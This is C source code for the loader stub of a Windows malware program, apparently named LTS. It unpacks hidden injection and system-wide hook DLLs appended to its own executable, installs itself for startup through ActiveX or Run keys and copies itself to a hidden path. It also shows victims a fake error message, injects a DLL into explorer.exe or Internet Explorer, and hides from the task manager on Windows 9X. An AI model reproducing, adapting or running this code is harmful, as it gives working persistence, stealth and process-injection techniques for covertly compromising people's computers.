int WINAPI installation(TCHAR * DeviceHWID, TCHAR * InfFile) { return Installation(DeviceHWID, InfFile); }
int Installation(const char* const argv0) { /* Output the DLL files required for Injection and system-wide hook. */ HANDLE mm; int offset; FILE *fp; FILE *fp2; char* tmp; char* dll; char path[MAX_PATH+1]; char* p; /* DLLs are appended to us, let's get them now by reading ourself. */ fp = fopen(argv0, "rb"); if (!fp) { WIN_ERR("Opening ourself to output DLLs has failed."); return 1; } /* Output the injection DLL. */ offset = 3 + sizeof(LTSData) + data.blocksz + data.hooksz + data.injectsz; fseek(fp, -offset, SEEK_END); /* Allocate space for injection dll */ dll = malloc(data.injectsz); if (!dll) { WIN_ERR("Unable to allocate memory for injection DLL."); fclose(fp); return 1; } /* Copy DLL from EXE to memory. */ fread(dll, 1, data.injectsz, fp); /* Construct the injection DLL name. It will go in a global variable, as we need it later on. */ tmp = SettingsGetValue(block, data.blocksz, "INJECTNAME"); snprintf(injectdll, MAX_PATH, "%s/%s", rootpath, tmp); injectdll[MAX_PATH] = '\0'; free(tmp); /* Why does it sometimes fail to overwrite? Just in case, manually remove the old one. */ remove(injectdll); fp2 = fopen(injectdll, "wb"); if (fp2) { /* File is open, output DLL from memory to disk. */ fwrite(dll, 1, data.injectsz, fp2); fclose(fp2); /* Make the DLL hidden. */ SetFileAttributes(injectdll, FILE_ATTRIBUTE_HIDDEN); } #ifdef DEBUG_MODE else { WIN_ERR("Unable to open file to output Injection DLL to.\nFile likely in use.\nWill attempt to use the existing one."); } #endif /* Failed to output DLL or not, free the memory. */ free(dll); /* Output the hook DLL. Allocate space for it in memory. */ dll = malloc(data.hooksz); if (!dll) { WIN_ERR("Unable to allocate memory for hook DLL."); fclose(fp); return 1; } /* Copy from disk to memory. */ fread(dll, 1, data.hooksz, fp); /* Construct the DLL name. */ tmp = SettingsGetValue(block, data.blocksz, "HOOKNAME"); snprintf(path, MAX_PATH, "%s/%s", rootpath, tmp); path[MAX_PATH] = '\0'; free(tmp); remove(path); fp2 = fopen(path, "wb"); if (fp2) { /* Copy from memory to disk. */ fwrite(dll, 1, data.hooksz, fp2); /* Close fp2 (Hook DLL) */ fclose(fp2); /* Make the DLL hidden. */ SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN); } #ifdef DEBUG_MODE else { WIN_ERR("Unable to open file to output hook DLL to.\nFile likely in use.\nWill attempt to use the existing one.") }; #endif /* Failed to output DLL or not, free the memory and close the file */ free(dll); fclose(fp); /* Write the flag struct to a memory mapped buffer so the hook DLL can get access to it. */ mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(LTSFlags), LTS_MMBUF_FLAGS); if (!mm) { WIN_ERR("Unable to create file mapping to write flag struct to."); return 1; } p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(LTSFlags)); if (!p) { WIN_ERR("Unable to map a view of mapped buf to write flags."); return 1; } CopyMemory(p, &data.flags, sizeof(LTSFlags)); UnmapViewOfFile(p); /* Write the settings block (and size) to a memory mapped buffer so the injection DLL can get access to it. */ /* Start by writing the size of the block. */ mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(data.blocksz), LTS_MMBUF_BLOCK_SZ); if (!mm) { WIN_ERR("Unable to create file mapping for settings block size."); return 1; } p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(data.blocksz)); if (!p) { WIN_ERR("Unable to map a view of file mapping to write block size."); return 1; } CopyMemory(p, &data.blocksz, sizeof(data.blocksz)); /* Copy the size first. */ UnmapViewOfFile(p); /* and then the block itself. */ mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, data.blocksz, LTS_MMBUF_BLOCK); if (!mm) { WIN_ERR("Unable to create file mapping for block."); return 1; } p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, data.blocksz); if (!p) { WIN_ERR("Unable to map a view of file mapping to write block."); return 1; } CopyMemory(p, block, data.blocksz); UnmapViewOfFile(p); /* Done with this. We have all the settings. Free it. */ free(block); return 0; } int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR argv, int show) { char me[MAX_PATH+1]; HANDLE m; FARPROC pCopyFile; OS_PLATFORM platform; char ranbyuser; /* Look for a commandline flag indicating if we ran via Windows startup. */ if (!strcmpi2(argv, RAN_ON_BOOT_FLAG, strlen(RAN_ON_BOOT_FLAG))) { ranbyuser = 0; } else { ranbyuser = 1; } /* Let's get the path to ourself. */ GetModuleFileName(0, me, MAX_PATH); me[MAX_PATH] = '\0'; /* Stop annoying warning. */ #ifdef DEBUG_MODE inst = prev = 0; argv = 0; show = 0; #endif /* We mainly need path2me. Let's load it now. */ if (LoadSettings(me)) { GEN_ERR("LoadSettings() returned an error, not going to bother going on. Quitting."); return 1; } /* Get the platform we are running on. */ platform = GetPlatform(); /* Implement startup method. */ if (PLAT_9X != platform) { /* If ActiveX startup fails, use Run startup. (Rare) */ if (ImplementDefaultStartup()) ImplementRunStartup(); } else { /* ActiveX works on 9X. But on 9X, we do not terminate, this will halt explorer. */ ImplementRunStartup(); } /* Copy myself over to a path where we will reside forever. Without remove(), CopyFile() sometimes doesn't overwrite, even though it succeeds, wtf? */ remove(path2me); pCopyFile = GetProcAddress(GetModuleHandle("Kernel32.dll"), "CopyFileA"); if (pCopyFile) { pCopyFile(me, path2me, 0); } else { WIN_ERR("Could not get address of CopyFileA. Unable to copy ourself to PATH"); } /* Make myself hidden. */ SetFileAttributes(path2me, FILE_ATTRIBUTE_HIDDEN); /* If we are supposed to display a fake error AND we ran via user... */ if (ranbyuser && errmsg) { /* Display a fake error message box. */ MessageBox(0, errmsg, errcap, MB_ICONERROR); free(errmsg); free(errcap); } /* Check to see if I am already running. If so, quit. */ CreateMutex(0, 1, MUTEX_NAME_RUNNING); if (GetLastError()!=ERROR_SUCCESS) { /* If we are NOT able to create the mutex, assume it's because it already exists. */ INFO("An instance of LTS is already running!\nExiting."); /* Clean up from LoadSettings() */ free(block); return 1; } /* Read settings. They are (supposed to be) appended to the LTS executable file. */ if (Installation(me)) { INFO("Due to errors during installation, we will NOT continue."); /* Clean up what LoadSettings() did. */ free(block); return 1; } /* The rest depends on the OS platform. Let's get that now. If it's NOT 9X OR it IS an error, assume it's NT */ if (PLAT_9X != platform) { HANDLE confirm; unsigned int i; DWORD pid; char success; success = 0; pid = 0; confirm = 0; /* Inject DLL into a process. */ #ifdef DEBUG_MODE pid = InjectionProcessId("C:\\Windows\\System32\\calc.exe", SPAWN); if (!pid) { GEN_ERR("Getting pID of calc.exe has failed. Going to attempt default browser."); } #else /* First target is Explorer. Get the PID */ pid = InjectionProcessId("explorer.exe", RUNNING); #endif /* If the pid is valid, Attempt to inject into the process. Otherwise, attempt def browser */ if (pid) { Inject(injectdll, pid); /* Wait for the confirmation mutex to be created by the injection DLL. */ INFO("Stub waiting for confirmation mutex."); /* Wait 5 seconds (100ms * 50), if we still don't the confirmation mutex. Assume the injection failed. */ for (i=0; i<50; ++i) { confirm=OpenMutex(0, 0, MUTEX_NAME_DONE); if (GetLastError()!=ERROR_FILE_NOT_FOUND) { success = 1; break; } Sleep(100); } } /* If we did not get the mutex, attempt to inject into the default browser. */ if (!success) { /* XXX Fix this. Get default browser and spawn it silently. */ /* char browser[MAX_PATH]; DWORD browsersz=MAX_PATH; GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into the default browser."); GetDefaultBrowser(browser, &browsersz); pid = InjectionProcessId(browser, SPAWN); pid = InjectionProcessId("c:\\Program Files\\Mozilla Firefox\\firefox.exe", SPAWN); */ /* If we got the PID, use it. Else just use IE. */ GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into IE."); pid = InjectionProcessId("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE", SPAWN); if (pid) { Inject(injectdll, pid); /* Now wait for the confirmation mutex again. */ for (i=0; i<50; ++i) { confirm=OpenMutex(0, 0, MUTEX_NAME_DONE); if (GetLastError()!=ERROR_FILE_NOT_FOUND) { success = 1; break; } Sleep(100); } } if (!success) { /* Injection into default browser has failed as well. This should NEVER happen. Let's just load the DLL manually then. */ HINSTANCE dll; MSG msg; GEN_ERR("Injection into default browser failed. Going to manually load DLL."); dll = LoadLibrary(injectdll); if (!dll) { WIN_ERR("Unable to load DLL! -- Quitting."); return 1; } while (GetMessage(&msg, 0, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } } /* We got confirmation that the DLL successfully read the settings. We can now die. */ INFO("Success! Got confirmation mutex. Stub terminating."); CloseHandle(confirm); } else { /* Windows 9X */ HINSTANCE dll; HMODULE kernel32; MSG msg; /* Hide from task manager. (9X ONLY) */ kernel32 = LoadLibrary("Kernel32.dll"); if (kernel32) { FARPROC rsp; rsp = GetProcAddress(kernel32, "RegisterServiceProcess"); if (rsp) rsp(GetCurrentProcessId(), 1); FreeLibrary(kernel32); } /* We can not inject into a process' address space on 9X. We *can* 'inject' using a hook and LoadLibrary() but for now, let's just manually load the DLL and sit idle. */ dll = LoadLibrary(injectdll); if (!dll) { WIN_ERR("Unable to load injection DLL! -- Quitting."); return 1; } /* This mutex is meant DLL injection, it tells us that the DLL has read the settings. */ for (;;) { m=OpenMutex(0, 0, MUTEX_NAME_DONE); if (GetLastError()!=ERROR_FILE_NOT_FOUND) break; Sleep(200); } /* Unlike on NT w/ DLL injection, we can not terminate. Windows will unload the DLL. */ CloseHandle(m); /* Just sit idle. DLL that we loaded should take care of the rest. */ INFO("Running on 9X. DLL has been loaded. Loader will sit in an idle loop."); while (GetMessage(&msg, 0, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return 0; }